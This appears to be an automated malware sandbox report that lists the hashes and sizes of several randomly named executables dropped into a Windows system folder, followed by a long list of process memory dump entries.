4e5cfdf9037b4c581d2f9001faa98bb0cac5e30a62f86a419f9b12cc78899a744caa2313e4749e96ddc50ff9c8b80334d60bfe4e7f440430cf181bdf5f9b78e5

Download Submit
C:\Windows\system\ugjcLGl.exe

Filesize
1.4MB

MD5
88e2cca134a4005feccc468269c2c7a0

SHA1
e32201b6055f4781b49be81f2012d09cbe9936a3

SHA256
2f0f9a29abd61fb1c341d254a4f73150e3e3f5b13e16cf152147f6b85f527ed5

SHA512
57bdb49bf3974ca725ac5cce00c093e9c7ffd0d313100664cb05c89e2a05efdb4075bd007a5300855e07f79269ae491ddd1ec71d6c5df6f9b6b6ec5751e846bf

Download Submit
C:\Windows\system\vMDsnbM.exe

Filesize
1.4MB

MD5
2a8c5fe2d08c779abd7f8891383025d3

SHA1
c61a46039a0155dbe981f88032218dc97685aea5

SHA256
4157420cc5aacab1a546a3b396283bea232ae6c169a1ee2ec15feb5d2ea1bc16

SHA512
97ab27bcde4b327bcf98e5f5c5384cc0a5e6c20fc80399a1ba5ddee51ef1020de8a8b86912e19f4868025b6e39c3d0f4cf025a5f33fe4ec8fb8d0cfebe7212e3

Download Submit
C:\Windows\system\wppgZMC.exe

Filesize
1.4MB

MD5
3597ea4624efea5d6adf0f0b348ca25b

SHA1
f70c20b83738acba2ce15f8804d44e80f5cceab0

SHA256
91609b388dbcb5088fe3323a43ec46f051c7e215673fc9b893e01ace416b934c

SHA512
3629458ff5d2043ce3aea94d792deaaf8b7f135016b0824650770356a50d47372a6d6d310bfd909d11ec17e7130bf80ee6d0a3fdb06c70773b696d74f46ddd9b

Download Submit
C:\Windows\system\yHhJihh.exe

Filesize
1.4MB

MD5
92fd8e18310c38551c07cb5495a14e81

SHA1
157db1efb2d1b84f444d0e3b99b5e975d6643e97

SHA256
e50d5bcaa49c3af3152b6cd5081e13ae542528cf0bfc5e24e899ded24a4455dc

SHA512
e58738e2d04ba20388f3edc397cbac92c0e84f79b39c63d49417fd1b5c5b70dc8c81173de8f61e4a48f9a81db31327ab552f97584133be8ca75ed2e344524cd9

Download Submit
C:\Windows\system\zFGSSBh.exe

Filesize
1.4MB

MD5
36803f937203b3e51ce8db27e51cf5bf

SHA1
09647cb755842f21143dac2dc89159fa582990c4

SHA256
7f864df6a3189937730bacb6373dcc84388695b53148aea23edfeb021178c789

SHA512
53f6122677aa040fc4a7a0ecfb2b5782045292c5ecf0707a0b00ee208ab34e859be32c940e30e9501bcc2c77789f00def0b9ec62c1766711dd5da0af50156edd

Download Submit
\Windows\system\FtbVKnf.exe

Filesize
1.4MB

MD5
4b57bebb8958d31a9675bbbe7df23c7d

SHA1
743917daa8022d694add1a37a38f4dc722433688

SHA256
4faef5b19efb30d0a310fd10ff78e8838f9c3a95c35bc39015d7af2da1dad4e2

SHA512
b1a23be1d889e5e328b37b5f085013f27a5cfbe2e3b298fb985a781ce3806730277be3b6e1598ac4eaa64672f61cb757f70351e644d8f9a866dad806eb342e35

Download Submit
\Windows\system\HQltNZH.exe

Filesize
1.4MB

MD5
f28e780649d15864eadd26653f421ecb

SHA1
f8c6ea590aad7607d212bfd766f375a7052b88ca

SHA256
5c7fe5a2e3b8e3d179eca63d18861ff3cd74b37ab70a6c2672adfc274416bbdc

SHA512
c7415a653cb5e2b0fcea593ad7185580a1f8b3e4fb1b389f99a7106d489490ea3b6c761e19331c9fd9c604275692329da05a534b70c4676e2ca65118a6b3348e

Download Submit
\Windows\system\bznnemh.exe

Filesize
1.4MB

MD5
aa1a46f635ac88198fb58518ab810a42

SHA1
5e0204fb712eeecbec03eecc34a983bba85ccf07

SHA256
22a0d5eb4dca4cd79f6ac0345adb952f55bc69755e22814ea99eb470df474857

SHA512
a2f9dd8d84af58150fc93048131912646a6e6c31e84ab44989c314e19d745846151b8290899d5dd35f753f61b26b86490082a9008006f51b3ed2e051c433fcf8

Download Submit
\Windows\system\gKhwTgs.exe

Filesize
1.4MB

MD5
43b8683c067453b8e65bf9a213edce3a

SHA1
22e7fd2a034972f2be189494ceb0e31d9d5adb6b

SHA256
78676638ac662e51e668c7eccb8ce8453605c6ccf9123e20df413535353f7a8d

SHA512
9786a01c7a6e572e140c1e92c19a18a0890e0e69f20b073b48e9776ff3018715f95aac2156671e2040d08b49a03394901a522bd271c3f6cf803f4403a717f7b2

Download Submit
memory/776-218-0x000000013FC70000-0x0000000140062000-memory.dmp

Filesize
3.9MB

Download
memory/776-3853-0x000000013FC70000-0x0000000140062000-memory.dmp

Filesize
3.9MB

Download
memory/1392-220-0x000000013F8F0000-0x000000013FCE2000-memory.dmp

Filesize
3.9MB

Download
memory/1392-4279-0x000000013F8F0000-0x000000013FCE2000-memory.dmp

Filesize
3.9MB

Download
memory/1624-211-0x000000013FA70000-0x000000013FE62000-memory.dmp

Filesize
3.9MB

Download
memory/1624-3866-0x000000013FA70000-0x000000013FE62000-memory.dmp

Filesize
3.9MB

Download
memory/2148-16-0x000000013FF70000-0x0000000140362000-memory.dmp

Filesize
3.9MB

Download
memory/2148-4272-0x000000013FF70000-0x0000000140362000-memory.dmp

Filesize
3.9MB

Download
memory/2184-3862-0x000000013F630000-0x000000013FA22000-memory.dmp

Filesize
3.9MB

Download
memory/2184-222-0x000000013F630000-0x000000013FA22000-memory.dmp

Filesize
3.9MB

Download
memory/2220-224-0x000000013FF70000-0x0000000140362000-memory.dmp

Filesize
3.9MB

Download
memory/2220-4319-0x000000013FF70000-0x0000000140362000-memory.dmp

Filesize
3.9MB

Download
memory/2368-2-0x000000013F120000-0x000000013F512000-memory.dmp

Filesize
3.9MB

Download
memory/2368-6-0x000000013FB50000-0x000000013FF42000-memory.dmp

Filesize
3.9MB

Download
memory/2368-225-0x0000000002FA0000-0x0000000003392000-memory.dmp

Filesize
3.9MB

Download
memory/2368-223-0x000000013FF70000-0x0000000140362000-memory.dmp

Filesize
3.9MB

Download
memory/2368-221-0x000000013F630000-0x000000013FA22000-memory.dmp

Filesize
3.9MB

Download
memory/2368-219-0x000000013F8F0000-0x000000013FCE2000-memory.dmp

Filesize
3.9MB

Download
memory/2368-191-0x000000013FE90000-0x0000000140282000-memory.dmp

Filesize
3.9MB

Download
memory/2368-22-0x0000000002FA0000-0x0000000003392000-memory.dmp

Filesize
3.9MB

Download
memory/2368-14-0x000000013FF70000-0x0000000140362000-memory.dmp

Filesize
3.9MB

Download
memory/2368-217-0x000000013FC70000-0x0000000140062000-memory.dmp

Filesize
3.9MB

Download
memory/2368-194-0x000000013FAC0000-0x000000013FEB2000-memory.dmp

Filesize
3.9MB

Download
memory/2368-0-0x00000000000F0000-0x0000000000100000-memory.dmp

Filesize
64KB

Download
memory/2368-215-0x00000000033E0000-0x00000000037D2000-memory.dmp

Filesize
3.9MB

Download
memory/2368-210-0x000000013FA70000-0x000000013FE62000-memory.dmp

Filesize
3.9MB

Download
memory/2552-3850-0x000000013FE90000-0x0000000140282000-memory.dmp

Filesize
3.9MB

Download
memory/2552-192-0x000000013FE90000-0x0000000140282000-memory.dmp

Filesize
3.9MB

Download
memory/2576-190-0x000000013F0D0000-0x000000013F4C2000-memory.dmp

Filesize
3.9MB

Download
memory/2576-4301-0x000000013F0D0000-0x000000013F4C2000-memory.dmp

Filesize
3.9MB

Download
memory/2764-216-0x000000013F430000-0x000000013F822000-memory.dmp

Filesize
3.9MB

Download
memory/2764-4306-0x000000013F430000-0x000000013F822000-memory.dmp

Filesize
3.9MB

Download
memory/2776-3870-0x000000013F030000-0x000000013F422000-memory.dmp

Filesize
3.9MB

Download
memory/2776-189-0x000000013F030000-0x000000013F422000-memory.dmp

Filesize
3.9MB

Download
memory/2784-9-0x000000013FB50000-0x000000013FF42000-memory.dmp

Filesize
3.9MB

Download
memory/2784-3852-0x000000013FB50000-0x000000013FF42000-memory.dmp

Filesize
3.9MB

Download
memory/2788-143-0x0000000001EE0000-0x0000000001EE8000-memory.dmp

Filesize
32KB

Download
memory/2788-137-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/3032-4275-0x000000013FAC0000-0x000000013FEB2000-memory.dmp

Filesize
3.9MB

Download
memory/3032-206-0x000000013FAC0000-0x000000013FEB2000-memory.dmp

Filesize
3.9MB

Download